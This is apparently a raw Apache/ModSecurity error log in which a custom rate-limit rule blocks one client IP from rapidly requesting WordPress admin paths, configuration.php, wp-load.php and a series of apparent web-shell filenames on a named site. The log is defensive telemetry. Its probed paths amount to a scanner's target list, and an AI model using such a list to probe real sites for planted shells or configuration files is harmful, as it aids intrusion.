[Sun May 03 08:40:37.290084 2026] [:error] [pid 37127:tid 37195] [client 20.151.130.38:65427] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afaZhf8khJXb5O5aWVXh5gAAAEs"]
[Sun May 03 08:40:37.721931 2026] [:error] [pid 37127:tid 37207] [client 20.151.130.38:62513] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "afaZhf8khJXb5O5aWVXh5wAAAFU"]
[Sun May 03 08:40:38.201035 2026] [:error] [pid 37246:tid 37251] [client 20.151.130.38:65493] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afaZhjhvYFGNwhnPamqA6QAAAQM"]
[Sun May 03 08:40:38.635583 2026] [:error] [pid 37246:tid 37257] [client 20.151.130.38:65439] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afaZhjhvYFGNwhnPamqA6wAAAQk"]
[Sun May 03 08:40:39.048268 2026] [:error] [pid 37126:tid 37162] [client 20.151.130.38:62541] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afaZh_R_A42N-LtDyrvi1wAAAAk"]
[Sun May 03 08:40:39.482658 2026] [:error] [pid 37246:tid 37273] [client 20.151.130.38:65468] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afaZhzhvYFGNwhnPamqA7QAAARc"]
[Sun May 03 08:40:39.907659 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:64778] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afaZhzhvYFGNwhnPamqA7gAAARY"]
[Sun May 03 08:40:40.334978 2026] [:error] [pid 40456:tid 40482] [client 20.151.130.38:64809] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afaZiDSujTvwdzEkjSfgWAAAAZg"]
[Sun May 03 08:40:40.756851 2026] [:error] [pid 40422:tid 40429] [client 20.151.130.38:62559] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afaZiEHBbBLrXh6PBuuMpgAAAUM"]
[Sun May 03 08:40:41.170913 2026] [:error] [pid 40422:tid 40448] [client 20.151.130.38:65460] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/configuration.php"] [unique_id "afaZiUHBbBLrXh6PBuuMqAAAAVY"]
[Sun May 03 08:40:41.607208 2026] [:error] [pid 40456:tid 40480] [client 20.151.130.38:62567] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afaZiTSujTvwdzEkjSfgWgAAAZY"]
[Sun May 03 08:40:42.028111 2026] [:error] [pid 40456:tid 40463] [client 20.151.130.38:61889] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afaZijSujTvwdzEkjSfgXAAAAYU"]
[Sun May 03 08:40:42.482492 2026] [:error] [pid 37127:tid 37202] [client 20.151.130.38:65488] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afaZiv8khJXb5O5aWVXh6gAAAFE"]
[Sun May 03 08:40:42.902758 2026] [:error] [pid 40456:tid 40471] [client 20.151.130.38:65477] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "afaZijSujTvwdzEkjSfgXwAAAY0"]
[Sun May 03 08:40:43.325985 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:61869] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afaZi_8khJXb5O5aWVXh6wAAAFg"]
[Sun May 03 08:40:43.745745 2026] [:error] [pid 37130:tid 37214] [client 20.151.130.38:65496] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afaZi6Iu7bmXKXicRk84dAAAAIE"]
[Sun May 03 08:40:44.161110 2026] [:error] [pid 40456:tid 40458] [client 20.151.130.38:64860] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afaZjDSujTvwdzEkjSfgZAAAAYA"]
[Sun May 03 08:40:44.581250 2026] [:error] [pid 37246:tid 37271] [client 20.151.130.38:64787] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "afaZjDhvYFGNwhnPamqA8AAAARU"]
[Sun May 03 08:40:45.001282 2026] [:error] [pid 40456:tid 40464] [client 20.151.130.38:65424] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afaZjTSujTvwdzEkjSfgaQAAAYY"]
[Sun May 03 08:40:45.430677 2026] [:error] [pid 40386:tid 40411] [client 20.151.130.38:64829] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afaZjVHJDYRXUf3IbRTiJQAAANc"]
[Sun May 03 08:40:45.850967 2026] [:error] [pid 37127:tid 37208] [client 20.151.130.38:64802] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afaZjf8khJXb5O5aWVXh7AAAAFY"]
[Sun May 03 08:40:46.266044 2026] [:error] [pid 40422:tid 40434] [client 20.151.130.38:64773] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwa.php"] [unique_id "afaZjkHBbBLrXh6PBuuMrAAAAUg"]
[Sun May 03 08:40:46.681590 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:65457] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afaZjkHBbBLrXh6PBuuMrgAAAU8"]
[Sun May 03 08:40:47.096082 2026] [:error] [pid 40422:tid 40443] [client 20.151.130.38:61888] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afaZj0HBbBLrXh6PBuuMsAAAAVE"]
[Sun May 03 08:40:47.519305 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:64793] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afaZj0HBbBLrXh6PBuuMtAAAAUU"]
[Sun May 03 08:40:47.936381 2026] [:error] [pid 40422:tid 40447] [client 20.151.130.38:64774] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "afaZj0HBbBLrXh6PBuuMuAAAAVU"]
[Sun May 03 08:40:48.347282 2026] [:error] [pid 40422:tid 40434] [client 20.151.130.38:64837] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afaZkEHBbBLrXh6PBuuMuQAAAUg"]
[Sun May 03 08:40:48.761341 2026] [:error] [pid 37246:tid 37266] [client 20.151.130.38:62564] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afaZkDhvYFGNwhnPamqA8gAAARA"]
[Sun May 03 08:40:49.187790 2026] [:error] [pid 40386:tid 40390] [client 20.151.130.38:65461] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afaZkVHJDYRXUf3IbRTiKAAAAMI"]
[Sun May 03 08:40:49.617672 2026] [:error] [pid 37246:tid 37257] [client 20.151.130.38:64843] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geforce.php"] [unique_id "afaZkThvYFGNwhnPamqA9AAAAQk"]
[Sun May 03 08:40:50.045001 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:65518] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afaZkkHBbBLrXh6PBuuMvAAAAVA"]
[Sun May 03 08:40:50.486020 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:65446] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afaZkkHBbBLrXh6PBuuMvQAAAU8"]
[Sun May 03 08:40:50.917658 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:62497] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afaZkkHBbBLrXh6PBuuMwgAAAUI"]
[Sun May 03 08:40:51.335755 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:65468] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "afaZk0HBbBLrXh6PBuuMwwAAAUU"]
[Sun May 03 08:40:51.780112 2026] [:error] [pid 40456:tid 40477] [client 20.151.130.38:64790] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afaZkzSujTvwdzEkjSfgcwAAAZM"]
[Sun May 03 08:40:52.196297 2026] [:error] [pid 37130:tid 37213] [client 20.151.130.38:62566] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afaZlKIu7bmXKXicRk84eQAAAIA"]
[Sun May 03 08:40:52.630635 2026] [:error] [pid 40456:tid 40480] [client 20.151.130.38:65476] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afaZlDSujTvwdzEkjSfgdAAAAZY"]
[Sun May 03 08:40:53.049131 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:61895] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/77.php"] [unique_id "afaZlUHBbBLrXh6PBuuMxwAAAVA"]
[Sun May 03 08:40:53.473345 2026] [:error] [pid 40386:tid 40391] [client 20.151.130.38:62575] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afaZlVHJDYRXUf3IbRTiKQAAAMM"]
[Sun May 03 08:40:53.915474 2026] [:error] [pid 40456:tid 40472] [client 20.151.130.38:62507] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afaZlTSujTvwdzEkjSfgegAAAY4"]
[Sun May 03 08:40:54.332296 2026] [:error] [pid 37126:tid 37153] [client 20.151.130.38:62486] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afaZlvR_A42N-LtDyrvi4gAAAAI"]
[Sun May 03 08:40:54.788384 2026] [:error] [pid 37127:tid 37186] [client 20.151.130.38:62531] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.sghb.php"] [unique_id "afaZlv8khJXb5O5aWVXh8AAAAEI"]
[Sun May 03 08:40:55.204558 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:62503] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afaZl0HBbBLrXh6PBuuMygAAAU0"]
[Sun May 03 08:40:55.645641 2026] [:error] [pid 37126:tid 37164] [client 20.151.130.38:62555] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afaZl_R_A42N-LtDyrvi5gAAAAs"]
[Sun May 03 08:40:56.086268 2026] [:error] [pid 37246:tid 37262] [client 20.151.130.38:62583] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afaZmDhvYFGNwhnPamqA-AAAAQw"]
[Sun May 03 08:40:56.509261 2026] [:error] [pid 37127:tid 37200] [client 20.151.130.38:64834] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoko.php"] [unique_id "afaZmP8khJXb5O5aWVXh8wAAAE8"]
[Sun May 03 08:40:56.926837 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:61892] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afaZmEHBbBLrXh6PBuuMzAAAAVc"]
[Sun May 03 08:40:57.345624 2026] [:error] [pid 40422:tid 40426] [client 20.151.130.38:64892] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afaZmUHBbBLrXh6PBuuMzgAAAUA"]
[Sun May 03 08:40:57.766324 2026] [:error] [pid 40422:tid 40433] [client 20.151.130.38:64844] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afaZmUHBbBLrXh6PBuuM0AAAAUc"]
[Sun May 03 08:40:58.213597 2026] [:error] [pid 40422:tid 40430] [client 20.151.130.38:61253] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/solo1.php"] [unique_id "afaZmkHBbBLrXh6PBuuM1AAAAUQ"]
[Sun May 03 08:40:58.639678 2026] [:error] [pid 40456:tid 40462] [client 20.151.130.38:62542] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afaZmjSujTvwdzEkjSfghQAAAYQ"]
[Sun May 03 08:40:59.069289 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:64872] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afaZm0HBbBLrXh6PBuuM2wAAAU4"]
[Sun May 03 08:40:59.508469 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:64777] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afaZm0HBbBLrXh6PBuuM3QAAAVc"]
[Sun May 03 08:40:59.929312 2026] [:error] [pid 40422:tid 40442] [client 20.151.130.38:65456] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/locales.php"] [unique_id "afaZm0HBbBLrXh6PBuuM3wAAAVA"]
[Sun May 03 08:41:00.358226 2026] [:error] [pid 40422:tid 40437] [client 20.151.130.38:65445] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "afaZnEHBbBLrXh6PBuuM4wAAAUs"]
[Sun May 03 08:41:00.824549 2026] [:error] [pid 40422:tid 40439] [client 20.151.130.38:64880] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "afaZnEHBbBLrXh6PBuuM6AAAAU0"]
